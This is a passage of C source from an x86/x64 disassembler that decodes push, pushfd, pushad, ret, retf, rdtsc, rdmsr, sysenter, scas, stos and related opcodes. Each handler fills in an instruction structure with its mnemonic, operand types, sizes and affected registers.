    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[2+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2];

        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[2+0+8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+8];
        }
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[2+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2];
            (*pMyDisasm).Argument2.ArgSize = 32;
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2];
            (*pMyDisasm).Argument2.ArgSize = 16;
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      53h
// =======================================
void __stdcall push_ebx(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[3+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[3+0+8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+8];
        }
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[3+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3];
            (*pMyDisasm).Argument2.ArgSize = 32;
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[3+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3];
            (*pMyDisasm).Argument2.ArgSize = 16;
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      54h
// =======================================
void __stdcall push_esp(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[4+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[4+0+8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+8];
        }
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[4+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4];
            (*pMyDisasm).Argument2.ArgSize = 32;
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[4+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4];
            (*pMyDisasm).Argument2.ArgSize = 16;
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      55h
// =======================================
void __stdcall push_ebp(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[5+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[5+0+8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+8];
        }
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[5+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5];
            (*pMyDisasm).Argument2.ArgSize = 32;
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[5+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5];
            (*pMyDisasm).Argument2.ArgSize = 16;
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      56h
// =======================================
void __stdcall push_esi(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[6+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[6+0+8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+8];
        }
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[6+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6];
            (*pMyDisasm).Argument2.ArgSize = 32;
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[6+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6];
            (*pMyDisasm).Argument2.ArgSize = 16;
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      57h
// =======================================
void __stdcall push_edi(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[7+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[7+0+8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+8];
        }
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[7+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7];
            (*pMyDisasm).Argument2.ArgSize = 32;
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[7+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7];
            (*pMyDisasm).Argument2.ArgSize = 16;
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}


// =======================================
//      68h
// =======================================
void __stdcall push_Iv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;

    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        if (!Security(5)) return;
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",*((DWORD*) (EIP_ + 1)));
        ImmediatSize = 32;
        (*pMyDisasm).Instruction.Immediat = *((DWORD*) (EIP_ + 1));
        EIP_ += 5;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
    }
    else if (OperandSize == 32) {
        if (!Security(5)) return;
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.8X",*((DWORD*) (EIP_ + 1)));
        ImmediatSize = 32;
        (*pMyDisasm).Instruction.Immediat = *((DWORD*) (EIP_ + 1));
        EIP_ += 5;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument2.ArgSize = 32;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
    }
    else {
        if (!Security(3)) return;
        (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.4X",*((WORD*) (EIP_ + 1)));
        ImmediatSize = 16;
        (*pMyDisasm).Instruction.Immediat = *((WORD*) (EIP_ + 1));
        EIP_ += 3;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
    }
}

// =======================================
//      6ah
// =======================================
void __stdcall push_Ib(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (!Security(1)) return;
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",*((BYTE*) (EIP_ + 1)));
    ImmediatSize = 8;
    (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_ + 1));
    EIP_ += 2;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.ArgSize = 32;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;

}


// =======================================
//      9ch
// =======================================
void __stdcall pushfd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;

    if (Architecture == 64) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pushfq ");
        EIP_++;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
        FillFlags(pMyDisasm, 78);
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pushfd ");
        EIP_++;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
        (*pMyDisasm).Argument2.ArgSize = 32;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
        FillFlags(pMyDisasm, 78);
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pushf ");
        EIP_++;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
        FillFlags(pMyDisasm, 78);
    }
}


// =======================================
//      60h
// =======================================
void __stdcall pushad_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;

    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pushad ");
        EIP_++;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG1 + REG2 + REG3 + REG4 + REG5 + REG6 + REG7;
        (*pMyDisasm).Argument2.ArgSize = 32;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pusha ");
        EIP_++;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG1 + REG2 + REG3 + REG4 + REG5 + REG6 + REG7;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
    }
}

// =======================================
//      0c2h
// =======================================
void __stdcall retn_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = RetType;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "retn ");
    if (!Security(3)) return;
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument1.ArgMnemonic,"%.4X",*((WORD*) (EIP_ + 1)));
    ImmediatSize = 16;
    (*pMyDisasm).Instruction.Immediat = *((WORD*) (EIP_ + 1));
    EIP_+=3;
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument1.ArgSize = 16;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
}

// =======================================
//      0c3h
// =======================================
void __stdcall ret_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = RetType;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ret ");
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.ArgSize = 32;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
}

// =======================================
//
// =======================================
void __stdcall retf_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = RetType;
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lret ");
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "retf ");
    }
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "retf ");
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.ArgSize = 32;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
}

// =======================================
//
// =======================================
void __stdcall retf_Iw(PDISASM pMyDisasm)
{
    int i = 0;
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = RetType;
    if (SYNTAX_ == ATSyntax) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lret ");
        (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic,"$");
        i++;
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "retf ");
    }
    if (!Security(3)) return;
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument1.ArgMnemonic+i,"%.4X",*((WORD*) (EIP_ + 1)));
    ImmediatSize = 16;
    (*pMyDisasm).Instruction.Immediat = *((WORD*) (EIP_ + 1));
    EIP_+=3;
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument1.ArgSize = 16;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
}

// =======================================
//
// =======================================
void __stdcall rdtsc_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rdtsc ");
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
    (*pMyDisasm).Argument1.ArgSize = 32;
}

// =======================================
//
// =======================================
void __stdcall rdmsr_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rdmsr ");
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
    (*pMyDisasm).Argument1.ArgSize = 32;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG1;
    (*pMyDisasm).Argument2.ArgSize = 32;
}

// =======================================
//
// =======================================
void __stdcall rdpmc_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rdpmc ");
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
    (*pMyDisasm).Argument1.ArgSize = 32;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG1;
    (*pMyDisasm).Argument2.ArgSize = 32;
}

// =======================================
//
// =======================================
void __stdcall rsm_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rsm ");
    EIP_++;
    FillFlags(pMyDisasm, 89);
}

// =======================================
//
// =======================================
void __stdcall sysenter_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sysenter ");
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall sysexit_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sysexit ");
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall sahf_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sahf ");
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 32;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgSize = 8;
}

// =======================================
//
// =======================================
void __stdcall salc_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = UNDOCUMENTED_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "salc ");
    EIP_++;
}


// =======================================
//      0ach
// =======================================
void __stdcall scasb_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "scasb ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG7;
    (*pMyDisasm).Argument2.ArgSize = 8;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG7;
    EIP_++;
    FillFlags(pMyDisasm, 94);
}

// =======================================
//      0adh
// =======================================
void __stdcall scas_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION;
    if (OperandSize == 64) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "scasq ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument1.AccessMode = READ;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG7;
        EIP_++;
        FillFlags(pMyDisasm, 94);
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "scasd ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument1.AccessMode = READ;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument2.ArgSize = 32;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG7;
        EIP_++;
        FillFlags(pMyDisasm, 94);
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "scasw ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.AccessMode = READ;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG7;
        EIP_++;
        FillFlags(pMyDisasm, 94);
    }
}

// =======================================
//
// =======================================
void __stdcall stc_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stc ");
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 1;
    FillFlags(pMyDisasm, 98);
}

// =======================================
//
// =======================================
void __stdcall sti_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sti ");
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
    (*pMyDisasm).Argument1.ArgSize = 1;
    FillFlags(pMyDisasm, 100);
}


// =======================================
//      0aah
// =======================================
void __stdcall stos_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stosb ");
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    (*pMyDisasm).Argument2.ArgSize = 8;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG7;
    EIP_++;
    FillFlags(pMyDisasm, 101);
}

// =======================================
//      0abh
// =======================================
void __stdcall stosw_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION;
